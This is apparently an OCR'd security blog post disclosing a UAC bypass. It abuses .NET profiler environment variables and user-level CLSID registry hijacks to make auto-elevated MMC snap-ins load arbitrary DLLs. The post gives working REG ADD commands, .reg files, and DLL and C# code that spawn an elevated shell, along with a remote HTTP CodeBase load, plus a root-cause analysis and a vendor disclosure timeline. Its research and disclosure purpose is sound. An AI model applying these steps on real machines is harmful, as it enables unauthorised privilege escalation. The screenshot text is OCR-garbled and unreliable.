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UAC bypass via elevated .NET applications
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TL;DR .NET Framework can be made to load a profiling DLL or a COM component DLL via user-defined
environment variables and CLSID registry entries, even when the process is elevated. This behavior can be
exploited to bypass UAC in default settings on Windows 7 to 10 (including the latest RS3 builds) by making an
auto-elevate .NET process (such as MMC snap-ins) load an arbitrary DLL.

Update: Dwight Hohnstein (@djhohnstein) made a C# implementation of this technique, and @3gstudent did a

blog post in chinese

Introduction

Last May, Casey Smith pointed out on twitter and on his blog that the .NET profiler DLL loading can be abused to

make a legit .NET application load a malicious DLL using environment variables.

When reading this, first thing that came to mind was "if this works with elevated .NET processes, this would make

a nice UAC bypass as well". And sure enough, it does.

This issue is still unfixed as of this writing — and may remain so — but is already public since July, as it was

independently discovered, reported and published on Full Disclosure by Stefan Kanthak.

Bypassing UAC

To make a .NET application load an arbitrary DLL, we can use the following environment variables:

COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll

On .NET < 4, the CLSID must be defined via the HKCR\CLSID{GUID }\InprocServer32 registry key containing
the path to the profiling DLL. On recent versions, the CLR uses the COR_PROFILER_PATH environment
variable to find the DLL — and falls back to using the CLSID if COR_PROFILER_PATH is not defined.

HKCR\CLSID is a combined view of Software\Classes\CLSID in HKLM and HKCU. Creating the CLSID keys
in HKLM (or machine-level environment variables) requires elevation, but creating them in HKCU does not. And

the catch is, everything works just fine with user-level environment variables and registry entries.

Now we only need an executable that is auto-elevated (no UAC prompt in default settings) and uses the .NET

CLR to load our fake profiler DLL. MMC is a good fit for that, in my testing I used the gpedit MMC but there are
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other usable ones (examples later).

Getting this to work is as simple as a few batch commands:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_!
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f

REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f

mmc gpedit.msc

These commands run in an unelevated command prompt will load C:\Temp\test.dll (if it exists) in the elevated

mmc.exe process.

This allows for an UAC bypass in default settings on Windows 7 to 10 (including the latest RS3 builds as of this

writing).

Here is a PowerShell PoC with an embedded DLL (x64 only).

The DLL just runs cmd.exe on DLL,_PROCESS_ATTACH, spawning an elevated command shell, and

immediately exits the current process to prevent the MMC console from popping up:

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{

char cmd[] = "cmd.exe";

switch (fdwReason)

{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
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ExitProcess(0);
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;

case DLL_PROCESS_DETACH:
break;

}
return TRUE;

Tested on x64 Windows 7, 8.1, 10 1703 and 10 RS3 build 16275.

Of course, it also works with UNC paths if you have a reachable SMB share:

COR_PROFILER_PATH=\\server\share\test.dll

Root cause

While the COM runtime does prevent CLSID lookups in user registry (HKCU) when running in elevated

processes to prevent such bypasses, the .NET runtime does not — and in this case the lookup is performed by the

latter, who appears to shim the component lookup:

7 Event Properties — O e
P

Event Process Stack

Frame  Module Location Address Path &
Ui nitdll.dll MiGuenyValueKey = (x14 (e Hed 75056594  CA\Windows'\System32'ntdl dll
Uz KemelBase dll LocalBaseRegluenValue = Ix15e xAfeddabdb3e  CAWindows'System32'KemelBasze dil
uUs KemelBase dl RegQueryValueExW + (xed (Hfeddabcbid  CA\Windows'\System32\KemelBase dl
Use clrdll Clr::Ltil::Reg::ReadStringYalue + (kb0 OxAfel13bdblce C\Windows'\Microsoft. NET Framework
uz cir.dll AssemblyMDlntemallmport ::Get Signature + (x1ae He13bdb®1  CAWindows'\Microsoft. NET\Frameworkt
uUs clrdll FakeCoCallDIlGetClassObject + (ke (e Afe13b4e97d  CAWindows'Microsoft. NET Frameworkt
Us crdl FakeCoCreatelnstanceEx = Ix7c (Afe13bd4e™8  C\Windows'\Microsoft. NET\Framewarkf
U1 crdl EEToProfinterface Impl::CHash TableImpl: Cmp + (k81 e 13¥66021  CA\Windows'\Microsoft. NETFrameworkt
U1 crdl EEToProfinterface Impl: :Create Profiler + (80 O Ae1366400  C:\Windows“Microsoft. NET Framewaork
U1z crdl EEToProfinterfacelmpl::Init + 0170 (e 13¥689550  CA\Windows'\Microsoft. NET\Frameworkt
U131 crdl Profiling AP 1Litility::Load Profiler + (e23c O Afe1335708 C\Windows'Microsoft. NET Frameworkt
U4 crdl 77 :FNODOBFM::'string’ + (x8b 546 He13e3®86  C\Windows'\Microsoft. NET\Frameworkt
U115 crdl Profiling AP | Litility::Initialize Profiling + 0x3f xAfe13bfd0S  CAWindows“Microsoft. NET Framework{
U116 crdl EEStartupHelper + (k572 Hfeldbfadeca  CA\Windows'\Microsoft. NET\Frameworkt
U7 crdl EEStartup + (15 (e Afe 130939 CAWindows \Microsoft. NET\Frameworkt
U 1§ crdl EnsureEEStarted + Oubf (e Afe13bf9edd  C\Windows'\Microsoft. NET\Framewarkf
U1 crdl EEDIGetClassObject + (edb He13e96c73  CA\Windows'\Microsoft. NET\Frameworkt
U 20 clrdl Intemal DliGetClassObject + 0x260 (Afe13e91ae2  C\Windows'\Microsoft. NET\Framewarkf
cir.dil DliGetClassObjectintemal + 072 e 13claechd  CA\Windows'\Microsoft. NET\Frameworkt
mecoreei dll DliGetClassObject + Ix46a O Afe24047cea  C\Windows'Microsoft. NET Frameworkt
mscoree dll ShellShim_DllGetClassObject + (xed (Hfe245a1d3d  CA\Windows'System32'mscoree dil
combase dll CClassCache: :CDlIPathEntry::GetClassObject + 47, onecore'com‘combaseobjact \dllcache cxx(2650) Hed?21472b  CAWindows'\System32combase dll
combase dil CClassCache::COIPathEntry::DliGetClassObject + (34, onecorecom'combase objact \dlcache cxx(3312) I Afed7214554  C\Windows'\System32\combase dil
B (Hed724e026  C\Windows'System32'combase dll A
£ >
Properties... Search... Source... Save...
+ | ¥ | [Jnext Highlighted Copy Al

The fix would require implementing in CLR checks similar to COM ones.
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Additional vectors

Now that we know how CLR behaves, we can find other instances by checking CLSIDs lookups in HKCU with

CLR calls in the stack. One instance also in GPEdit, is the

"Microsoft.GroupPolicy. AdmTmplEditor. GPMAdmTmplEditorManager" component (CLSID {B29D466A-

857D-35BA-8712-A758861BFEA1} on my test VM):

File Edit Ewent Filter Tools Options Help

[GH ABPE2AS D AF @BLR

Time ... Process N... PID  TID Operation Path Result Detail
MC.exe G016 G488 ReglueryKey  HKCU\Software"Classes SUCCESS Query: Handle Tags. Harfdle Tags: 0D
MC.exXe 6016 6488 HKCU\Software'Classes\CLSID\{B290466A-8570-35BA-8712-A758861BFEA1 nproc Server32 NAME NOT FOUND Desired Access: Read
mc.exe 6016 6488 HKI:R\CLSID\{BZSDMA—ESTD 358A—3712A755861BFEA1)\|npmcSErver32 SUCCESS Desired Access: Read
mc.exe 6016 6488 ™ 1 e, e ww e x 1. Values: 5
mc.exe 6016 6488 ﬁRegOuEryKay HKI:R\CLSID\{BZSDMA—ESTD 358A—3712A755861BFEA1)\|npmcSErver32 SUCCESS Query: Name
mc.exe 6016 6488 @fRegQueryKey HKCR\CLSID\{B29D466A4-857D-35BA-8712-A75886 1BFEAT MinprocServer32 SUCCESS Query: HandleTags, HandleTags: (x0
mc.exe 6016 6488 @¥RegOpenkey  HKCU\Softwars'Classes\CLSIDV{B290466A-8570-35BA-8712-A75886 1BFEAT Minproc Server32 NAME NOT FOUND Desired Access: Maximum Allowed
mc.exe 6016 6488 @¥RegQuenykey HKCR\CLSIDV{B2904664-857D-35BA-8712-A75886 1BFEAT Mnproc Server32 SUCCESS Query: Name
mc.exe 6016 6488 @¥RegQuenykey HKCR\CLSIDN{B2904664-857D-35BA-8712-A75886 1BFEAT Mnproc Server32 SUCCESS Query: HandleTags, Handle Tags: 00
mc.exe 6016 6488 @LRegOpenkey  HKCU\Softwars'Classes\CLSID\{B290466A-8570-35BA-8712-A75886 1BFEAT Mnproc Server32 NAME NOT FOUND Desired Access: Maximum Allowed
mc.exe 6016 6438 ﬂRegEnumKey HKCR\CLSIDW{B29D4664-8570-35BA-8712-A75886 1BFEA1 MnprocServer32 SUCCESS Index: 0, Name: 10.0.0.0
mc.exe 6016 6488 #%RegQuerykey HKCR\CLSID\(B29D466A-857D-35BA-8712-A75886 1BFEAT MnprocServer32 SUCCESS Query: Name
mc.exe 6016 6438 ﬂRegQuewKey HKCR\CLSIDW{B29D4664-8570-35BA-8712-A75886 1BFEA1 MnprocServer32 SUCCESS Query: HandleTags, HandleTags: 00
mc.exe 6016 6488 ﬂHegOpeany HKCUN\Software\Classes\CLSID'{B29D466A-8570-35BA-8712-A75886 1BFEA 1 M\nprocServer32410.0.0.0  NAME NOT FOUND Desired Access: Read
27 Event Properties - O w  [eTe0s 00
Event FProcess Stack e Tags: 00
Alowed
Frame  Module Location Address Path ~
K6 ntoskml.exe setjmpex + (x3dd3 ffff80078702c53  CAWINDOW Shaystem 32ntoskml exe eTags: (x0
U7 ndidl MtOpenKeyEx + k14 I Afd5b 51 8cd C:\Windows\System 32 ntdll.dll Allowed
Us KemelBase dl RegQuerylnfoeyW + x5el xATd586fcBal C:\Windows"System 32" KemelBase dl
Us KemelBase dll  MapPredefinedHandleIntemal + Dxcec xAfd586fe T2 CAWindows'\System 32\ KemelBase dl
U 10__KemelBase di_ReqOpenKeyExintemal W + 0ci44 L A586idE54__ C:\Windows'\System 32 \KemelBase d eTags: B0
U 11 KemelBasedl RegOpenKeyExW = Gx19 Cod5EE &S | C.\Windows\System32'KemelBase.dl Q’:']"’;‘;d_ Mierse
U12 mscoreeidl  CiRegOpenKeyEx + b7 BiFddec76d8  C:\Windows\Microsch NET\F k64\v4.0.30319 di "
U 13 mscoresidl FindHighestVersion + 0137 (xAfddechbedeh CAWindows \Microsoft NET\Fi 64'w4.0.30319 i e Tags: (<0
U 14 mscoresidl FindShimInfo FromRegistryWorker + (dd (xAfddecbdbad CAWindows\Microsoft NET\Fr f64'w4.0.30215 il Allowed
U 15 mscoreeidl leCLSIDImplementedinFramework Assembly + xdd (xAfddecac b5 C:AWindows \Microsoft NETFi 64\wd.0.30319 i 2, Data: v4.0.30
U 16 mscoresi dl DiiGetClassObject + (x30d xAfddecal7id C:AWindows\Microsoft NETFi 644,009
mscoree.dl  ShellShim_DIiGetClassO Ibect+[)x:-d m'ﬁdﬁ&md C:\Window E)-:temS""rnicc-ree di e Tags: (<0
U combase d g Allowed
U158 combasedl WlnduwstmuteStnngBuﬁEr+ﬂ12576 ﬂxﬁrdf.&e?aade c \W\nduws\SystemliZ\cnmbase dl . Data: v4.0.30
U 20 combasedl PropVariantClear + (x836 (xAfd59954c 56 CAWindows'\System 32\ combase.dll
Looking at the existing entries in HKCR seems to indicate the component itself is implemented in a CLR
assembly:
B Registry Editor
File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOT\CLSIDVB29D466A-857D-35BA-8712-AT58861BFEAT MnprocServer32
, {B2443657-090D-11e4-AEDA-B4BS2FEDGET1} A || Mame Type Data
{:i;;5?::;:‘3";31‘30':;‘Z;?ZZ";T} aB) (Default) REG_SZ CA\Windows\System32\mscoree.dll
ib}l‘};lb‘lﬁ- OE'D?; 4e5 -abggé 5; ;2 b‘): }} i‘_’]Assembly REG_SZ Microsoft.GroupPolicy. AdmTmplEditor, Version=10.0.0.0, Culture=neutr
- -de3a- -38c52ch%cae
- ab|Class REG_SZ Microsoft.GroupPolicy. AdmTmplEditor. GRMAdmTmplEditorManager
v | | {B29D466A-857D-35BA-8712-AT58861BFEAT} _ _ - preney P P J
A . f_,‘_'JRU ntimeVersion REG_SZ v4.0.30319
Implemented Categories E!'] )
[ — ThreadingModel REG_SZ Both
10.0.0.0
Progld
{B2ATFD52-301F-4348-B93A-638CEDE45229}

We can define a COM entry in the user registry as such (.reg format):

Windows Registry Editor Version 5.00

[HKEY_CURRENT _USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmp1EditorManager"
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[HKEY_CURRENT _USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]
[HKEY_CURRENT _USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE¢

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.d1l"

"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral”

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v4.0.30319"

"ThreadingModel"="Both"

"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral”

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v4.0.30319"

"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Progld]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

MMC will then load our managed DLL and try to access the TestDotNet.Class1 class. By default, C# does not
have an easy way to create a simple DLL entry point such as DlIIMain (we don't want to write a module initializer
for this because we're lazy), but the class referenced in registry seems to be loaded so we can just use a static

constructor to execute our elevated code:

using System;

using System.Diagnostics;

namespace TestDotNet

{

public class Class1

{
static Class1()

{
Process.Start("cmd.exe");

Environment.Exit(0);

With the DLL in place and the corresponding registry entries, running gpedit.msc now results in an elevated shell
(but this time from a .NET DLL):
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tributes

11-known

2
File Edit Event Filter Tools Options Help

SH RBE(TAG D AN HEBLZER

Time ... Process N... PID TIO Operation Path Result Detai
10:53:... [gggmme exe 6208 2568 @{RegQueryValue HKCU\Software'\Classss\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA N nproc Server32410.0.0.00_ SUCCESS Type: REG_SZ, Length: 90, Data: TestDotNet, Version=0.0.0.0, Cukture=
10:53:.... [gggmme exe 6208 2568 E{RegCloseKey  HKCR'CLSID\{B29D466A-8570-35BA-8712-A758861BFEAT FinprocSenver32110.0.0.0 SUCCESS
10:53:.... [gggmme exe 6208 2568 E{RegQueryKey HKCU'\Software'\Classss\CLSID'{B23D466A-857D-35BA-8712-A758861BFEA 1 Mnproc Server32410.0.0.0  SUCCESS Query: Name
10:53:.... [gggmme exe 6208 2568 E{RegQueryKey HKCU'\Software'\Classss\CLSID'{B23D466A-857D-35BA-8712-A758861BFEA 1 Mnproc Server32410.0.0.0  SUCCESS Query: HandleTags, HandleTags: 0«0
10:53:.... [ggmme exe 6208 2568 E{RegOpenKey  HKCR'CLSID'\{B29D466A-8570-35BA-8712-A758861BFEAT FinprocSenver32110.0.0.0 SUCCESS Desired Access: Maximum Allowed, Grarted Access: Read
10:59: gmmc exe 6208 2568 gﬂag@uew\falue HKCU"Software'\Classes\CLSID\{B29D466A-8570-35BA-8712-A75886 1BFEA1}\Inproc Server32110.0.0.0°. . SUCCESS Type: REG_SZ, Length: 52, Data: file://C://Temp//test dll
6208 2568 @{RegCloseKey  HKCR'CLSID'{B29D466A-857D-35BA-8712-A758861BFEATFinprocServer32410.0.0.0 SUCCESS
6208 2568 E{ReqQueryKey HKCU'\Software'Classes\CLSID'{B23D466A-8570-35BA 8712-A758861BFEAnprocServer32410.0.0.0  SUCCESS Query: Name
6208 2568 ﬂHegGuewKey HKC UMSoftware\Classes \CLSID\{B29D466A-8570-35BA-8712-A758861BFEA TN nproc Server32\10.0.0.0  SUCCESS Query: Handle Tags, Handle Tags: 0x0
6208 2568 E{RegOpenkey  HKCR'CLSID\{B29D46EA857D-35BA-8712-A758861BFEAT FinprocSenver3Z\10.0.0.0 SUCCESS Desired Access: Maximum Allowed, Granted Access: Read
6208 2568 ﬁHegGuewValue HKC UM Software\Classes \CLSID\{B29D466A-8570-35BA-8712-A758861BFEA T nproc Server32410.0.0.0.. SUCCESS Type: REG_SZ, Length: 52, Data: file //C://Temp/Aest dll
6208 2568 §{RegCloseKey  HKCR'CLSID\{B29D46EA857D-35BA-8712-A758861BFEAT FinprocSenver3Z\10.0.0.0 SUCCESS
6208 2568 #¥ReaCloseke HKCU\Software\Classes\CL SID\{B29D466A-8570-35BA-8712-A758861BFEA1\noroc Server32\10.0.0.0  SUCCE!
=] Event Properties — a X
mgs: (0
pos: Ix0
Event Process Stacc
Frame  Module Location Address Path o pas: 00
K2 rtoskmiexe  sefimpex + (x3dd3 (AFTE00787D2C53  CAWINDOWS system32rtoskmi.exe ;Zd'(:G_'f\?n:‘jux?g::‘;a;;mswmg a
U3 ntdidl MNtQuenyValueKey + 0x14 O AfdBbE1ded4 CA\Windows\System32\ntdl.dll
Uz KemelBase dl MapPredefinedHandlelntemal + 0x66d O Afd586fe Dad CA\Windows\System32\KemelBase dl
us KemelBase dl RegQuenyValueExW + (xed O Afd586fd 8dd C\Windows\System32\KemelBase di Bgs: 0«0
Us drd Find ShimInfo FromRegistryWorker + (<374 O AfdHebal3l C\Windows\Microsoft NET\Framework64'w4.0.30315\clr di wed, Granted Access: Read
U7 crd FindShiminfo From Registry + 068 OHdZe56192  C:\Windows'\Microsoft NET\Framewark64'v4.0.30319\clrdl ata: C:\Windows\System32\mscoree di
us  drd AppDomain::LoadCOMClass + (x11c O Afd Xe560dc C:\Windows \Microsoft. NET\Framework 64'w4.0.30315clr.dll
Us  crd GetTypeForCLSID = Ixde O HdAeb5F%a CAWindows\Microsoft. NET\Framework 64'w4.0.30315\clr.dil
U0 crd EEDIGetClassObject + (24 O Afd30146ce7 CA\Windows\Microsoft. NET\Framework €4'w4.0.20319\cr.dil bas: (0
U1 crdl IntemalDliGetClassObject + (260 O Afd30141862 CA\Windows\Microsoft NET'\Framework64'w4.0.30315\clr di Bags: 0x0
Uiz drdl DliGetClassObjectIntemal + (72 DA d Ae56740 C\Windows\Microsoft NET\Framework64'w4.0.30315\clr di
U 13 mscoreeidl DliGetClassObject + Oxdba O Afddecallea C\Windows\Microsoft NET"Framework64'w4.0.30315\mscoreei dil alues: &
U 14 mscoreedl ShellShim_DIiGetClassObject + Oxed O« Afd519e1d3d C\Windows\System32\mscoree dl
U 15 combasedl  WindowsPromoteStingBuffer + B2 Fc O« Hd5997365¢ C:\Windows\System32\combase.di pas: Ix0
U 16 combasedl  WindowsPromote StingBufer + Bi2576 LFdSI9TIHE  C\Windows\System32\combase.d fuod. Grarted Access: Rsad

An interesting property of this method is that the CodeBase parameter is not limited to local files and SMB shares,
the DLL can be loaded from an HTTP URL as well:

"CodeBase"="http://server:8080/test_managed.d11"

Note that the downloaded DLL is copied to disk, so this method is actually easier to detect than a local DLL (disk

+ network artifacts).
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Another nice thing (for attackers), there are several CLSIDs that can be abused this way.
The following can be used with compmgmt.msc, eventvwr.msc, secpol.msc and taskschd.msc:

e "Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory" component as a managed DLL

Process N... FPID  TID Operation Path Result Detail
gOp HKCU'Software\Classes\CLSID\{D5AB5662-1310-453D-88C8-9BBAS7502ADE InprocServer32 NAME NOT FOUND Desired Access: Read
egOpenkey HKCRWCLSIDV{D5ARS662-131D-4530-88C8-9BBABTS02ADE Inproc Serverd2 SUCCESS Desired Access: Read

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE} ]

@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"

[HKEY_CURRENT _USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88(8-9BBA87502ADE}\Implemented Categories]

[HKEY_CURRENT _USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88(8-9BBA87502ADE}\Implemented Categories\{62C8FE!

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.d1l"

"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral”

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v2.0.50727"

"ThreadingModel"="Both"

"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral”

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v2.0.50727"

"CodeBase"="file://C://Temp//test_managed.dll"

e "NDP SymBinder" component as a native DLL, hijack via the \Server entry

Process M. FID i Path Result Detail
Himme exs f 2gOpenKey  HKCU\Software\Classes\CLSID\{DAZ3FFSE-7FIC-4437-8811-F424431E3331 \Server NAME NOT FOUND Desired Access: Read

Sy MMC EXE 7936 6968 @LRegOpenKey  HKCRM\CLSIDW{0AZ9FFOE-TFIC-4437-8B11-F424491E393 1} \Server SUCCESS Desired Access: Read

fEymme. exe 7936 6568 ﬁRegQuewKey HKCRYCLSIDW{0A29FFIE-7FSC-4437-8B11-F424451E3931\Server SUCCESS Query: Name

fEymme. exe 7936 6568 ﬁRegQuewKey HKCRYCLSIDW{0A29FFIE-7FSC-4437-8B11-F424451E3931\Server SUCCESS Query: HandleTags, HandleTags: (k0

fymmc exe 7536 6968 ﬁREgOpEnKe\f HKCU\Software ClassestCLSIDW{DAZSFFSE-7FSC-4437-8811-F424451E353 1\ Server MNAME NOT FOUND Desired Access: Maximum Allowed

[Eymmc exe 7936 6968 ﬁRagOuaw\n’alua HKCR\CLSIDW{0AZSFFSE-TFIC-4437-8611-F424451E393 1} Server'(Default) SUCCESS Type: REG_SZ, Length: 34, Data: diasymreader.dil

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{QA29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{QA29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]

@="C:\\Windows\\System32\\mscoree.d11"
"ThreadingModel"="Both"

Page 7 of 9



https://offsec.almond.consulting/UAC-bypass-dotnet.html

[HKEY_CURRENT _USER\Software\Classes\CLSID\{QA29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
©="4.0.30319"
"ImplementedInThisVersion

[HKEY_CURRENT _USER\Software\Classes\CLSID\{@A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
@="CorSymBinder_SxS"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{@A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
@="C:\\Temp\\test_unmanaged.dll"

e "Microsoft Common Language Runtime Meta Data" component as a native DLL, hijack via the \Server

entry (secpol.msc only)

Process M... PID TID Operation Path Result Detail
Emme exe 5556 5248 ﬁFlegQuewl’(e).I HKCU Software Classes SUCCESS Query: HandleTags, HandleTags: (<0
C.EXE 5556 5248 RegQueryKey  HKCU\Software'\Classes SUCCESS Query: HandleTags, HandleTags: (x0

RegOpenKey  HKCU\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-D0CD4FA3DAIEN Server NAME NOT FOUND Desired Access: Read

Emme axe 5556 5248 @f{ReqOpenKey HKCR\CLSIDMWCB2FE723-AB3A-11D2-8C40-00C04FA30A3EN Server NAME NOT FOUND Desired Access: Read

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]

@="Microsoft Common Language Runtime Meta Data"

[HKEY_CURRENT _USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.d1l"
"ThreadingModel"="Both"

[HKEY_CURRENT _USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
©="4.0.30319"

"ImplementedInThisVersion

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
@="CLRMetaData.CorRuntimeHost.2"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
@=". .\\..\\..\\..\\Temp\\test_unmanaged.d11"

(Note: here the path must be relative, otherwise mmc.exe tries to load
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll)

Not a security boundary

Microsoft repeatedly stated that UAC is not a security boundary. Security people usually phrase it in a more
pragmatic way: do not trust UAC, do not run as split-token admin, always use a non-admin user for your non-

admin tasks. I couldn't agree more.
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Still, a lot of people run everything as local admin and are interesting targets for pentesters / red teamers — as well

as real bad guys. So I guess new techniques are still of interest to some.

For pentest purposes I'd recommend the generic one from @tiraniddo (example implementation here, another one

here) as it does not require a DLL load and doesn't seem to be caught by most EDR solutions yet.

Also, if you're into UAC bypasses, there is a lot of resource out there on the topic, but the following are must-

reads:

e @enigma0x3's research (and his DerbyCon talk: slides, video)

e (@tiraniddo's bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part
2 & part 3
e @hFireFOX's UACME project that implements most known UAC bypasses, and his posts on kernelmode

PowerShell

Many thanks to Casey Smith (@subtee) for pointing out the .NET profiler DLL trick, to the helpful MS dev for

information on the root cause, and to Matt Graeber (@mattifestation) for his advices and his review of this post.

Timeline

2017-05-19 Bypass found

2017-05-20 Email sent to MSRC (cc'ing an MS dev as suggested by @mattifestation)
2017-05-22 MSRC case #38811 open

2017-05-20/23 Discussion with MS dev, additional info

2017-06-24 Reply from MSRC: "We have finished our investigation and determined this does not meet the bar for

servicing downlevel. UAC is not a security boundary."
2017-07-05 Publication of the profiler bypass on Full Disclosure by Stefan Kanthak

2017-09-15 Publication of this post

Source: https://offsec.almond.consulting/UA C-bypass-dotnet.html
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